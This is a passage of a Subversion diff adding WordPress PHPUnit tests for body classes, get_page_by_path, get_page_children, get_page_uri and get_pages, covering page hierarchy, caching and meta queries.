+		$term3 = get_term( $term_id3, 'wptests_tax' );
+
+		$this->go_to( home_url( "?wptests_tax={$term1->slug}" ) );
+		$this->assertContains( "term-$term_id1", get_body_class() );
+
+		$this->go_to( home_url( "?wptests_tax={$term2->slug}" ) );
+		$this->assertContains( "term-$term_id2", get_body_class() );
+
+		$this->go_to( home_url( "?wptests_tax={$term3->slug}" ) );
+		$this->assertContains( "term-$term_id3", get_body_class() );
+	}
+
+	/**
+	 * @ticket 35164
+	 * @ticket 36510
+	 */
+	public function test_singular_body_classes() {
+		$post_id = self::factory()->post->create();
+		$this->go_to( get_permalink( $post_id ) );
+
+		$class = get_body_class();
+		$this->assertContains( "single-post", $class );
+		$this->assertContains( "postid-{$post_id}", $class );
+		$this->assertContains( "single-format-standard", $class );
+	}
+
+	public function test_page_template_body_classes_no_template() {
+		$post_id = self::factory()->post->create( array(
+			'post_type' => 'page',
+		) );
+		$this->go_to( get_permalink( $post_id ) );
+
+		$class = get_body_class();
+
+		$this->assertNotContains( 'page-template', $class );
+		$this->assertContains( 'page-template-default', $class );
+	}
+
+	public function test_page_template_body_classes() {
+		$post_id = self::factory()->post->create( array(
+			'post_type' => 'page',
+		) );
+
+		add_post_meta( $post_id, '_wp_page_template', 'templates/cpt.php' );
+
+		$this->go_to( get_permalink( $post_id ) );
+
+		$class = get_body_class();
+
+		$this->assertContains( 'page-template', $class );
+		$this->assertContains( 'page-template-templates', $class );
+		$this->assertContains( 'page-template-cpt', $class );
+		$this->assertContains( 'page-template-templatescpt-php', $class );
+	}
+
+	/**
+	 * @ticket 18375
+	 */
+	public function test_page_template_body_classes_attachment() {
+		$post_id = self::factory()->post->create( array(
+			'post_type' => 'attachment',
+		) );
+
+		add_post_meta( $post_id, '_wp_page_template', 'templates/cpt.php' );
+
+		$this->go_to( get_permalink( $post_id ) );
+
+		$class = get_body_class();
+
+		$this->assertContains( 'attachment-template', $class );
+		$this->assertContains( 'attachment-template-templates', $class );
+		$this->assertContains( 'attachment-template-cpt', $class );
+		$this->assertContains( 'attachment-template-templatescpt-php', $class );
+	}
+
+	/**
+	 * @ticket 18375
+	 */
+	public function test_page_template_body_classes_post() {
+		$post_id = self::factory()->post->create();
+
+		add_post_meta( $post_id, '_wp_page_template', 'templates/cpt.php' );
+
+		$this->go_to( get_permalink( $post_id ) );
+
+		$class = get_body_class();
+
+		$this->assertContains( 'post-template', $class );
+		$this->assertContains( 'post-template-templates', $class );
+		$this->assertContains( 'post-template-cpt', $class );
+		$this->assertContains( 'post-template-templatescpt-php', $class );
+	}
+
+	/**
+	 * @ticket 38225
+	 */
+	public function test_attachment_body_classes() {
+		$post_id = self::factory()->post->create();
+
+		$attachment_id = self::factory()->attachment->create_object( 'image.jpg', $post_id, array(
+			'post_mime_type' => 'image/jpeg',
+		) );
+
+		$this->go_to( get_permalink( $attachment_id ) );
+
+		$class = get_body_class();
+
+		$this->assertContains( 'attachment', $class );
+		$this->assertContains( "attachmentid-{$attachment_id}", $class );
+		$this->assertContains( 'attachment-jpeg', $class );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/post/getPageByPath.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/post/getPageByPath.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/post/getPageByPath.php	(revision 56912)
@@ -0,0 +1,271 @@
+<?php
+
+/**
+ * @group post
+ */
+class Tests_Post_GetPageByPath extends WP_UnitTestCase {
+	/**
+	 * @ticket 15665
+	 */
+	public function test_get_page_by_path_priority() {
+		global $wpdb;
+
+		$attachment = self::factory()->post->create_and_get( array( 'post_title' => 'some-page', 'post_type' => 'attachment' ) );
+		$page       = self::factory()->post->create_and_get( array( 'post_title' => 'some-page', 'post_type' => 'page' ) );
+		$other_att  = self::factory()->post->create_and_get( array( 'post_title' => 'some-other-page', 'post_type' => 'attachment' ) );
+
+		$wpdb->update( $wpdb->posts, array( 'post_name' => 'some-page' ), array( 'ID' => $page->ID ) );
+		clean_post_cache( $page->ID );
+
+		$page = get_post( $page->ID );
+
+		$this->assertEquals( 'some-page', $attachment->post_name );
+		$this->assertEquals( 'some-page', $page->post_name );
+
+		// get_page_by_path() should return a post of the requested type before returning an attachment.
+		$this->assertEquals( $page, get_page_by_path( 'some-page' ) );
+
+		// Make sure get_page_by_path() will still select an attachment when a post of the requested type doesn't exist.
+		$this->assertEquals( $other_att, get_page_by_path( 'some-other-page' ) );
+	}
+
+	public function test_should_match_top_level_page() {
+		$page = self::factory()->post->create( array(
+			'post_type' => 'page',
+			'post_name' => 'foo',
+		) );
+
+		$found = get_page_by_path( 'foo' );
+
+		$this->assertSame( $page, $found->ID );
+	}
+
+	public function test_should_obey_post_type() {
+		register_post_type( 'wptests_pt' );
+
+		$page = self::factory()->post->create( array(
+			'post_type' => 'wptests_pt',
+			'post_name' => 'foo',
+		) );
+
+		$found = get_page_by_path( 'foo' );
+		$this->assertNull( $found );
+
+		$found = get_page_by_path( 'foo', OBJECT, 'wptests_pt' );
+		$this->assertSame( $page, $found->ID );
+	}
+
+	public function test_should_match_nested_page() {
+		$p1 = self::factory()->post->create( array(
+			'post_type' => 'page',
+			'post_name' => 'foo',
+		) );
+
+		$p2 = self::factory()->post->create( array(
+			'post_type' => 'page',
+			'post_name' => 'bar',
+			'post_parent' => $p1,
+		) );
+
+		$p3 = self::factory()->post->create( array(
+			'post_type' => 'page',
+			'post_name' => 'baz',
+			'post_parent' => $p2,
+		) );
+
+		$found = get_page_by_path( 'foo/bar/baz' );
+
+		$this->assertSame( $p3, $found->ID );
+	}
+
+	public function test_should_not_make_partial_match() {
+		$p1 = self::factory()->post->create( array(
+			'post_type' => 'page',
+			'post_name' => 'foo',
+		) );
+
+		$p2 = self::factory()->post->create( array(
+			'post_type' => 'page',
+			'post_name' => 'bar',
+			'post_parent' => $p1,
+		) );
+
+		$p3 = self::factory()->post->create( array(
+			'post_type' => 'page',
+			'post_name' => 'baz',
+			'post_parent' => $p2,
+		) );
+
+		$found = get_page_by_path( 'bar/baz' );
+
+		$this->assertNull( $found );
+	}
+
+	public function test_should_not_match_parts_out_of_order() {
+		$p1 = self::factory()->post->create( array(
+			'post_type' => 'page',
+			'post_name' => 'foo',
+		) );
+
+		$p2 = self::factory()->post->create( array(
+			'post_type' => 'page',
+			'post_name' => 'bar',
+			'post_parent' => $p1,
+		) );
+
+		$p3 = self::factory()->post->create( array(
+			'post_type' => 'page',
+			'post_name' => 'baz',
+			'post_parent' => $p2,
+		) );
+
+		$found = get_page_by_path( 'bar/foo/baz' );
+
+		$this->assertNull( $found );
+	}
+
+	/**
+	 * @ticket 36711
+	 */
+	public function test_should_hit_cache() {
+		global $wpdb;
+
+		$page = self::factory()->post->create( array(
+			'post_type' => 'page',
+			'post_name' => 'foo',
+		) );
+
+		// Prime cache.
+		$found = get_page_by_path( 'foo' );
+		$this->assertSame( $page, $found->ID );
+
+		$num_queries = $wpdb->num_queries;
+
+		$found = get_page_by_path( 'foo' );
+		$this->assertSame( $page, $found->ID );
+		$this->assertSame( $num_queries, $wpdb->num_queries );
+	}
+
+	/**
+	 * @ticket 36711
+	 */
+	public function test_bad_path_should_be_cached() {
+		global $wpdb;
+
+		// Prime cache.
+		$found = get_page_by_path( 'foo' );
+		$this->assertNull( $found );
+
+		$num_queries = $wpdb->num_queries;
+
+		$found = get_page_by_path( 'foo' );
+		$this->assertNull( $found );
+		$this->assertSame( $num_queries, $wpdb->num_queries );
+	}
+
+	/**
+	 * @ticket 36711
+	 */
+	public function test_bad_path_served_from_cache_should_not_fall_back_on_current_post() {
+		global $wpdb, $post;
+
+		// Fake the global.
+		$post = self::factory()->post->create_and_get();
+
+		// Prime cache.
+		$found = get_page_by_path( 'foo' );
+		$this->assertNull( $found );
+
+		$num_queries = $wpdb->num_queries;
+
+		$found = get_page_by_path( 'foo' );
+		$this->assertNull( $found );
+		$this->assertSame( $num_queries, $wpdb->num_queries );
+
+		unset( $post );
+	}
+
+	/**
+	 * @ticket 36711
+	 */
+	public function test_cache_should_not_match_post_in_different_post_type_with_same_path() {
+		global $wpdb;
+
+		register_post_type( 'wptests_pt' );
+
+		$p1 = self::factory()->post->create( array(
+			'post_type' => 'page',
+			'post_name' => 'foo',
+		) );
+
+		$p2 = self::factory()->post->create( array(
+			'post_type' => 'wptests_pt',
+			'post_name' => 'foo',
+		) );
+
+		// Prime cache for the page.
+		$found = get_page_by_path( 'foo' );
+		$this->assertSame( $p1, $found->ID );
+
+		$num_queries = $wpdb->num_queries;
+
+		$found = get_page_by_path( 'foo', OBJECT, 'wptests_pt' );
+		$this->assertSame( $p2, $found->ID );
+		$num_queries++;
+		$this->assertSame( $num_queries, $wpdb->num_queries );
+	}
+
+	/**
+	 * @ticket 36711
+	 */
+	public function test_cache_should_be_invalidated_when_post_name_is_edited() {
+		global $wpdb;
+
+		$page = self::factory()->post->create( array(
+			'post_type' => 'page',
+			'post_name' => 'foo',
+		) );
+
+		// Prime cache.
+		$found = get_page_by_path( 'foo' );
+		$this->assertSame( $page, $found->ID );
+
+		wp_update_post( array(
+			'ID' => $page,
+			'post_name' => 'bar',
+		) );
+
+		$num_queries = $wpdb->num_queries;
+
+		$found = get_page_by_path( 'bar' );
+		$this->assertSame( $page, $found->ID );
+		$num_queries++;
+		$this->assertSame( $num_queries, $wpdb->num_queries );
+	}
+
+	/**
+	 * @ticket 37611
+	 */
+	public function test_output_param_should_be_obeyed_for_cached_value() {
+		$page = self::factory()->post->create( array(
+			'post_type' => 'page',
+			'post_name' => 'foo',
+		) );
+
+		// Prime cache.
+		$found = get_page_by_path( 'foo' );
+		$this->assertSame( $page, $found->ID );
+
+		$object = get_page_by_path( 'foo', OBJECT );
+		$this->assertInternalType( 'object', $object );
+		$this->assertSame( $page, $object->ID );
+
+		$array_n = get_page_by_path( 'foo', ARRAY_N );
+		$this->assertInternalType( 'array', $array_n );
+		$this->assertSame( $page, $array_n[0] );
+
+		$array_a = get_page_by_path( 'foo', ARRAY_A );
+		$this->assertInternalType( 'array', $array_a );
+		$this->assertSame( $page, $array_a['ID'] );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/post/getPageChildren.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/post/getPageChildren.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/post/getPageChildren.php	(revision 56912)
@@ -0,0 +1,95 @@
+<?php
+
+/**
+ * @group post
+ */
+class Tests_Post_GetPageChildren extends WP_UnitTestCase {
+	protected $pages = array();
+
+	/*
+	 * Here's the tree we are testing (4 is not in the tree):
+	 *
+	 * pages[0]
+	 * - pages[1]
+	 * -- pages[3]
+	 * - pages[2]
+	 * -- pages[6]
+	 * --- pages[7]
+	 * ---- pages[8]
+	 * - pages[5]
+	 */
+	public function setUp() {
+		parent::setUp();
+
+		// Mock page objects.
+		$this->pages = array(
+			0 => (object) array(
+				'ID' => 100,
+				'post_parent' => 0,
+			),
+			1 => (object) array(
+				'ID' => 101,
+				'post_parent' => 100,
+			),
+			2 => (object) array(
+				'ID' => 102,
+				'post_parent' => 100,
+			),
+			3 => (object) array(
+				'ID' => 103,
+				'post_parent' => 101,
+			),
+
+			// Not in the tree.
+			4 => (object) array(
+				'ID' => 104,
+				'post_parent' => 9898989898,
+			),
+
+			5 => (object) array(
+				'ID' => 105,
+				'post_parent' => 100,
+			),
+			6 => (object) array(
+				'ID' => 106,
+				'post_parent' => 102,
+			),
+			7 => (object) array(
+				'ID' => 107,
+				'post_parent' => 106,
+			),
+			8 => (object) array(
+				'ID' => 108,
+				'post_parent' => 107,
+			),
+		);
+	}
+
+	public function test_page_id_0_should_return_all_pages_in_tree_and_exclude_pages_not_in_tree() {
+		$expected = array( 100, 101, 102, 103, 105, 106, 107, 108 );
+		$actual = get_page_children( 0, $this->pages );
+		$this->assertEqualSets( $expected, wp_list_pluck( $actual, 'ID' ) );
+	}
+
+	public function test_hierarchical_order_should_be_respected_in_results() {
+		$expected = array( 100, 101, 103, 102, 106, 107, 108, 105 );
+		$actual = get_page_children( 0, $this->pages );
+		$this->assertEquals( $expected, wp_list_pluck( $actual, 'ID' ) );
+	}
+
+	public function test_not_all_pages_should_be_returned_when_page_id_is_in_the_middle_of_the_tree() {
+		$expected = array( 106, 107, 108 );
+		$actual = get_page_children( 102, $this->pages );
+		$this->assertEquals( $expected, wp_list_pluck( $actual, 'ID' ) );
+	}
+
+	public function test_page_id_that_is_a_leaf_should_return_empty_array() {
+		$actual = get_page_children( 103, $this->pages );
+		$this->assertEquals( array(), $actual );
+	}
+
+	public function test_nonzero_page_id_not_matching_any_actual_post_id_should_return_empty_array() {
+		$actual = get_page_children( 200, $this->pages );
+		$this->assertEquals( array(), $actual );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/post/getPageUri.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/post/getPageUri.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/post/getPageUri.php	(revision 56912)
@@ -0,0 +1,73 @@
+<?php
+
+/**
+ * @group post
+ */
+class Tests_Post_getPageUri extends WP_UnitTestCase {
+
+	/**
+	 * @ticket 22883
+	 */
+	function test_get_page_uri_with_stdclass_post_object() {
+		$post_id    = self::factory()->post->create( array( 'post_name' => 'get-page-uri-post-name' ) );
+
+		// Mimick an old stdClass post object, missing the ancestors field.
+		$post_array = (object) get_post( $post_id, ARRAY_A );
+		unset( $post_array->ancestors );
+
+		// Dummy assertion. If this test fails, it will actually error out on an E_WARNING.
+		$this->assertEquals( 'get-page-uri-post-name', get_page_uri( $post_array ) );
+	}
+
+	/**
+	 * @ticket 24491
+	 */
+	function test_get_page_uri_with_nonexistent_post() {
+		global $wpdb;
+		$post_id = $wpdb->get_var( "SELECT MAX(ID) FROM $wpdb->posts" ) + 1;
+		$this->assertFalse( get_page_uri( $post_id ) );
+	}
+
+	/**
+	 * @ticket 15963
+	 */
+	function test_get_post_uri_check_orphan() {
+		$parent_id = self::factory()->post->create( array( 'post_name' => 'parent' ) );
+		$child_id = self::factory()->post->create( array( 'post_name' => 'child', 'post_parent' => $parent_id ) );
+
+		// check the parent for good measure
+		$this->assertEquals( 'parent', get_page_uri( $parent_id ) );
+
+		// try the child normally
+		$this->assertEquals( 'parent/child', get_page_uri( $child_id ) );
+
+		// now delete the parent from the database and check
+		wp_delete_post( $parent_id, true );
+		$this->assertEquals( 'child', get_page_uri( $child_id ) );
+	}
+
+	/**
+	 * @ticket 36174
+	 */
+	function test_get_page_uri_with_a_draft_parent_with_empty_slug() {
+		$parent_id = self::factory()->post->create( array( 'post_name' => 'parent' ) );
+		$child_id = self::factory()->post->create( array( 'post_name' => 'child', 'post_parent' => $parent_id ) );
+
+		wp_update_post( array( 'ID' => $parent_id, 'post_name' => '', 'post_status' => 'draft' ) );
+
+		$this->assertEquals( 'child', get_page_uri( $child_id ) );
+	}
+
+	/**
+	 * @ticket 26284
+	 */
+	function test_get_page_uri_without_argument() {
+		$post_id = self::factory()->post->create(array(
+			'post_title' => 'Blood Orange announces summer tour dates',
+			'post_name' => 'blood-orange-announces-summer-tour-dates',
+		));
+		$post = get_post( $post_id );
+		$this->go_to( get_permalink( $post_id ) );
+		$this->assertEquals( 'blood-orange-announces-summer-tour-dates', get_page_uri() );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/post/getPages.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/post/getPages.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/post/getPages.php	(revision 56912)
@@ -0,0 +1,512 @@
+<?php
+
+/**
+ * @group post
+ */
+
+class Tests_Post_getPages extends WP_UnitTestCase {
+	function setUp() {
+		parent::setUp();
+	}
+
+	/**
+	 * @ticket 23167
+	 */
+	function test_get_pages_cache() {
+		global $wpdb;
+
+		self::factory()->post->create_many( 3, array( 'post_type' => 'page' ) );
+		wp_cache_delete( 'last_changed', 'posts' );
+		$this->assertFalse( wp_cache_get( 'last_changed', 'posts' ) );
+
+		$pages = get_pages();
+		$this->assertEquals( 3, count( $pages ) );
+		$this->assertNotEmpty( $time1 = wp_cache_get( 'last_changed', 'posts' ) );
+		$num_queries = $wpdb->num_queries;
+		foreach ( $pages as $page )
+			$this->assertInstanceOf( 'WP_Post', $page );
+
+		// Again. num_queries and last_changed should remain the same.
+		$pages = get_pages();
+		$this->assertEquals( 3, count( $pages ) );
+		$this->assertEquals( $time1, wp_cache_get( 'last_changed', 'posts' ) );
+		$this->assertEquals( $num_queries, $wpdb->num_queries );
+		foreach ( $pages as $page )
+			$this->assertInstanceOf( 'WP_Post', $page );
+
+		// Again with different args. last_changed should not increment because of
+		// different args to get_pages(). num_queries should bump by 1.
+		$pages = get_pages( array( 'number' => 2 ) );
+		$this->assertEquals( 2, count( $pages ) );
+		$this->assertEquals( $time1, wp_cache_get( 'last_changed', 'posts' ) );
+		$this->assertEquals( $num_queries + 1, $wpdb->num_queries );
+		foreach ( $pages as $page )
+			$this->assertInstanceOf( 'WP_Post', $page );
+
+		$num_queries = $wpdb->num_queries;
+
+		// Again. num_queries and last_changed should remain the same.
+		$pages = get_pages( array( 'number' => 2 ) );
+		$this->assertEquals( 2, count( $pages ) );
+		$this->assertEquals( $time1, wp_cache_get( 'last_changed', 'posts' ) );
+		$this->assertEquals( $num_queries, $wpdb->num_queries );
+		foreach ( $pages as $page )
+			$this->assertInstanceOf( 'WP_Post', $page );
+
+		// Do the first query again. The interim queries should not affect it.
+		$pages = get_pages();
+		$this->assertEquals( 3, count( $pages ) );
+		$this->assertEquals( $time1, wp_cache_get( 'last_changed', 'posts' ) );
+		$this->assertEquals( $num_queries, $wpdb->num_queries );
+		foreach ( $pages as $page )
+			$this->assertInstanceOf( 'WP_Post', $page );
+
+		// Force last_changed to increment.
+		clean_post_cache( $pages[0]->ID );
+		$this->assertNotEquals( $time1, $time2 = wp_cache_get( 'last_changed', 'posts' ) );
+
+		$num_queries = $wpdb->num_queries;
+
+		// last_changed bumped so num_queries should increment.
+		$pages = get_pages( array( 'number' => 2 ) );
+		$this->assertEquals( 2, count( $pages ) );
+		$this->assertEquals( $time2, wp_cache_get( 'last_changed', 'posts' ) );
+		$this->assertEquals( $num_queries + 1, $wpdb->num_queries );
+		foreach ( $pages as $page )
+			$this->assertInstanceOf( 'WP_Post', $page );
+
+		$last_changed = wp_cache_get( 'last_changed', 'posts' );
+
+		// This should bump last_changed.
+		wp_delete_post( $pages[0]->ID );
+		$old_changed_float = $this->_microtime_to_float( $last_changed );
+		$new_changed_float = $this->_microtime_to_float( wp_cache_get( 'last_changed', 'posts' ) );
+		$this->assertGreaterThan( $old_changed_float, $new_changed_float );
+
+		$num_queries = $wpdb->num_queries;
+		$last_changed = wp_cache_get( 'last_changed', 'posts' );
+
+		// num_queries should bump after wp_delete_post() bumps last_changed.
+		$pages = get_pages();
+		$this->assertEquals( 2, count( $pages ) );
+		$this->assertEquals( $last_changed, wp_cache_get( 'last_changed', 'posts' ) );
+		$this->assertEquals( $num_queries + 1, $wpdb->num_queries );
+		foreach ( $pages as $page )
+			$this->assertInstanceOf( 'WP_Post', $page );
+	}
+
+	/**
+	 * @ticket 40669
+	 */
+	public function test_cache_should_be_invalidated_by_add_post_meta() {
+		$posts = self::factory()->post->create_many( 2, array(
+			'post_type' => 'page',
+		) );
+
+		add_post_meta( $posts[0], 'foo', 'bar' );
+
+		$cached = get_pages( array(
+			'meta_key' => 'foo',
+			'meta_value' => 'bar',
+		) );
+
+		$cached_ids = wp_list_pluck( $cached, 'ID' );
+		$this->assertEqualSets( array( $posts[0] ), $cached_ids );
+
+		add_post_meta( $posts[1], 'foo', 'bar' );
+
+		$found = get_pages( array(
+			'meta_key' => 'foo',
+			'meta_value' => 'bar',
+		) );
+
+		$found_ids = wp_list_pluck( $found, 'ID' );
+		$this->assertEqualSets( $posts, $found_ids );
+	}
+
+	/**
+	 * @ticket 40669
+	 */
+	public function test_cache_should_be_invalidated_by_update_post_meta() {
+		$posts = self::factory()->post->create_many( 2, array(
+			'post_type' => 'page',
+		) );
+
+		add_post_meta( $posts[0], 'foo', 'bar' );
+		add_post_meta( $posts[1], 'foo', 'bar' );
+
+		$cached = get_pages( array(
+			'meta_key' => 'foo',
+			'meta_value' => 'bar',
+		) );
+
+		$cached_ids = wp_list_pluck( $cached, 'ID' );
+		$this->assertEqualSets( $posts, $cached_ids );
+
+		update_post_meta( $posts[1], 'foo', 'baz' );
+
+		$found = get_pages( array(
+			'meta_key' => 'foo',
+			'meta_value' => 'bar',
+		) );
+
+		$found_ids = wp_list_pluck( $found, 'ID' );
+		$this->assertEqualSets( array( $posts[0] ), $found_ids );
+	}
+
+	/**
+	 * @ticket 40669
+	 */
+	public function test_cache_should_be_invalidated_by_delete_post_meta() {
+		$posts = self::factory()->post->create_many( 2, array(
+			'post_type' => 'page',
+		) );
+
+		add_post_meta( $posts[0], 'foo', 'bar' );
+		add_post_meta( $posts[1], 'foo', 'bar' );
+
+		$cached = get_pages( array(
+			'meta_key' => 'foo',
+			'meta_value' => 'bar',
+		) );
+
+		$cached_ids = wp_list_pluck( $cached, 'ID' );
+		$this->assertEqualSets( $posts, $cached_ids );
+
+		delete_post_meta( $posts[1], 'foo' );
+
+		$found = get_pages( array(
+			'meta_key' => 'foo',
+			'meta_value' => 'bar',
+		) );
+
+		$found_ids = wp_list_pluck( $found, 'ID' );
+		$this->assertEqualSets( array( $posts[0] ), $found_ids );
+	}
+
+	/**
+	 * @ticket 40669
+	 */
+	public function test_cache_should_be_invalidated_by_delete_post_meta_by_key() {
+		$posts = self::factory()->post->create_many( 2, array(
+			'post_type' => 'page',
+		) );
+
+		add_post_meta( $posts[0], 'foo', 'bar' );
+		add_post_meta( $posts[1], 'foo', 'bar' );
+
+		$cached = get_pages( array(
+			'meta_key' => 'foo',
+			'meta_value' => 'bar',
+		) );
+
+		$cached_ids = wp_list_pluck( $cached, 'ID' );
+		$this->assertEqualSets( $posts, $cached_ids );
+
+		delete_post_meta_by_key( 'foo' );
+
+		$found = get_pages( array(
+			'meta_key' => 'foo',
+			'meta_value' => 'bar',
+		) );
+
+		$found_ids = wp_list_pluck( $found, 'ID' );
+		$this->assertEqualSets( array(), $found_ids );
+	}
+
+	/**
+	 * @ticket 20376
+	 */
+	function test_get_pages_meta() {
+		$posts = self::factory()->post->create_many( 3, array( 'post_type' => 'page' ) );
+		add_post_meta( $posts[0], 'some-meta-key', '0' );
+		add_post_meta( $posts[1], 'some-meta-key', '' );
+		add_post_meta( $posts[2], 'some-meta-key', '1' );
+
+		$this->assertEquals( 1, count( get_pages( array( 'meta_key' => 'some-meta-key', 'meta_value' => '0' ) ) ) );
+		$this->assertEquals( 1, count( get_pages( array( 'meta_key' => 'some-meta-key', 'meta_value' => '1' ) ) ) );
+		$this->assertEquals( 3, count( get_pages( array( 'meta_key' => 'some-meta-key' ) ) ) );
+	}
+
+	/**
+	 * @ticket 22074
+	 */
+	function test_get_pages_include_exclude() {
+		$page_ids = array();
+
+		foreach ( range( 1, 20 ) as $i )
+			$page_ids[] = self::factory()->post->create( array( 'post_type' => 'page' ) );
+
+		$inc = array_slice( $page_ids, 0, 10 );
+		sort( $inc );
+		$exc = array_slice( $page_ids, 10 );
+		sort( $exc );
+
+		$include = get_pages( array( 'include' => $inc ) );
+		$inc_result = wp_list_pluck( $include, 'ID' );
+		sort( $inc_result );
+		$this->assertEquals( $inc, $inc_result );
+
+		$exclude = get_pages( array( 'exclude' => $exc ) );
+		$exc_result = wp_list_pluck( $exclude, 'ID' );
+		sort( $exc_result );
+		$this->assertEquals( $inc, $exc_result );
+	}
+
+	/**
+	 * @ticket 9470
+	 */
+	function test_get_pages_parent() {
+		$page_id1 = self::factory()->post->create( array( 'post_type' => 'page' ) );
+		$page_id2 = self::factory()->post->create( array( 'post_type' => 'page', 'post_parent' => $page_id1 ) );
+		$page_id3 = self::factory()->post->create( array( 'post_type' => 'page', 'post_parent' => $page_id2 ) );
+		$page_id4 = self::factory()->post->create( array( 'post_type' => 'page', 'post_parent' => $page_id1 ) );
+
+		$pages = get_pages( array( 'parent' => 0, 'hierarchical' => false ) );
+		$this->assertEqualSets( array( $page_id1 ), wp_list_pluck( $pages, 'ID' ) );
+
+		$pages = get_pages( array( 'parent' => $page_id1, 'hierarchical' => false ) );
+		$this->assertEqualSets( array( $page_id2, $page_id4 ), wp_list_pluck( $pages, 'ID' ) );
+
+		$pages = get_pages( array( 'parent' => array( $page_id1, $page_id2 ), 'hierarchical' => false ) );
+		$this->assertEqualSets( array( $page_id2, $page_id3, $page_id4 ), wp_list_pluck( $pages, 'ID' ) );
+
+		$pages = get_pages( array( 'parent' => 0 ) );
+		$this->assertEqualSets( array( $page_id1 ), wp_list_pluck( $pages, 'ID' ) );
+
+		$pages = get_pages( array( 'parent' => $page_id1 ) );
+		$this->assertEqualSets( array( $page_id2, $page_id4 ), wp_list_pluck( $pages, 'ID' ) );
+
+		$pages = get_pages( array( 'parent' => array( $page_id1, $page_id2 ) ) );
+		$this->assertEqualSets( array( $page_id2, $page_id3, $page_id4 ), wp_list_pluck( $pages, 'ID' ) );
+	}
+
+	/**
+	 * @ticket 22389
+	 */
+	function test_wp_dropdown_pages() {
+		self::factory()->post->create_many( 5, array( 'post_type' => 'page' ) );
+
+		preg_match_all( '#<option#', wp_dropdown_pages( 'echo=0' ), $matches );
+
+		$this->assertEquals( 5, count( $matches[0] ) );
+	}
+
+	/**
+	 * @ticket 22208
+	 */
+	function test_get_chidren_fields_ids() {
+		$post_id = self::factory()->post->create();
+		$child_ids = self::factory()->post->create_many( 5, array( 'post_parent' => $post_id ) );
+
+		$post_ids = get_children( array( 'fields' => 'ids', 'post_parent' => $post_id ) );
+		$this->assertEqualSets( $child_ids, $post_ids );
+	}
+
+	/**
+	 * @ticket 25750
+	 */
+	function test_get_pages_hierarchical_and_no_parent() {
+		global $wpdb;
+		$page_1 = self::factory()->post->create( array( 'post_type' => 'page' ) );
+		$page_2 = self::factory()->post->create( array( 'post_type' => 'page', 'post_parent' => $page_1 ) );
+		$page_3 = self::factory()->post->create( array( 'post_type' => 'page', 'post_parent' => $page_1 ) );
+		$page_4 = self::factory()->post->create( array( 'post_type' => 'page', 'post_parent' => $page_2 ) );
+
+		$pages = get_pages(); // Defaults: hierarchical = true, parent = -1
+		$pages_default_args = get_pages( array( 'hierarchical' => true, 'parent' => -1 ) );
+		// Confirm the defaults.
+		$this->assertEquals( $pages, $pages_default_args );
+
+		/*
+		 * Here's the tree we are testing:
+		 *
+		 * page 1
+		 * - page 2
+		 * -- page 4
+		 * - page 3
+		 *
+		 * If hierarchical => true works, the order will be 1,2,4,3.
+		 * If it doesn't, they will be in the creation order, 1,2,3,4.
+		 */
+
+		$this->assertEqualSets( array( $page_1, $page_2, $page_4, $page_3 ), wp_list_pluck( $pages, 'ID' ) );
+	}
+
+	/**
+	 * @ticket 18701
+	 */
+	public function test_get_pages_hierarchical_empty_child_of() {
+		$page_1 = self::factory()->post->create( array( 'post_type' => 'page' ) );
+		$page_2 = self::factory()->post->create( array( 'post_type' => 'page' ) );
+		$page_3 = self::factory()->post->create( array( 'post_type' => 'page', 'post_parent' => $page_1 ) );
+		$page_4 = self::factory()->post->create( array( 'post_type' => 'page', 'post_parent' => $page_1 ) );
+
+		$pages = get_pages(); // Defaults: hierarchical = true, child_of = '', parent = -1
+		$default_args = get_pages( array(
+			'hierarchical' => true,
+			'child_of'     => ''
+		) );
+
+		$this->assertEquals( $pages, $default_args );
+
+		/*
+		 * Page tree:
+		 *
+		 * page 1 (parent 0)
+		 * – page 3 (parent 1)
+		 * – page 4 (parent 1)
+		 * page 2 (parent 0)
+		 *
+		 * With default arguments, if child_of is empty (normalized to 0), only pages with a matching
+		 * post_parent will be returned, in the order they were created: 1, 2.
+		 */
+
+		$found_pages = wp_list_filter( $pages, array( 'post_parent' => 0 ) );
+
+		$this->assertEqualSets( array( $page_1, $page_2 ), wp_list_pluck( $found_pages, 'ID' ) );
+	}
+
+	/**
+	 * @ticket 18701
+	 */
+	public function test_get_pages_non_hierarchical_empty_child_of() {
+		$page_1 = self::factory()->post->create( array( 'post_type' => 'page' ) );
+		$page_2 = self::factory()->post->create( array( 'post_type' => 'page' ) );
+		$page_3 = self::factory()->post->create( array( 'post_type' => 'page', 'post_parent' => $page_1 ) );
+		$page_4 = self::factory()->post->create( array( 'post_type' => 'page', 'post_parent' => $page_1 ) );
+
+		$pages = get_pages( array( 'hierarchical' => false ) ); // child_of = '', parent = -1
+
+		/*
+		 * Page tree:
+		 *
+		 * page 1 (parent 0)
+		 * – page 3 (parent 1)
+		 * – page 4 (parent 1)
+		 * page 2 (parent 0)
+		 *
+		 * If hierarchical is false and child_of is empty (normalized to 0), pages will be returned
+		 * in order of creation: 1, 2, 3, 4, regardless of parent.
+		 */
+
+		$this->assertEqualSets( array( $page_1, $page_2, $page_3, $page_4 ), wp_list_pluck( $pages, 'ID' ) );
+	}
+
+	/**
+	 * @ticket 18701
+	 */
+	public function test_get_pages_hierarchical_non_empty_child_of() {
+		$page_1 = self::factory()->post->create( array( 'post_type' => 'page' ) );
+		$page_2 = self::factory()->post->create( array( 'post_type' => 'page' ) );
+		$page_3 = self::factory()->post->create( array( 'post_type' => 'page', 'post_parent' => $page_1 ) );
+		$page_4 = self::factory()->post->create( array( 'post_type' => 'page', 'post_parent' => $page_3 ) );
+		$page_5 = self::factory()->post->create( array( 'post_type' => 'page', 'post_parent' => $page_1 ) );
+
+		$pages = get_pages( array( 'child_of' => $page_1 ) ); // Defaults: hierarchical = true, parent = -1.
+
+		/*
+		 * Page tree:
+		 *
+		 * page 1 (parent 0)
+		 * – page 3 (parent 1)
+		 * –– page 4 (parent 3)
+		 * – page 5 (parent 1)
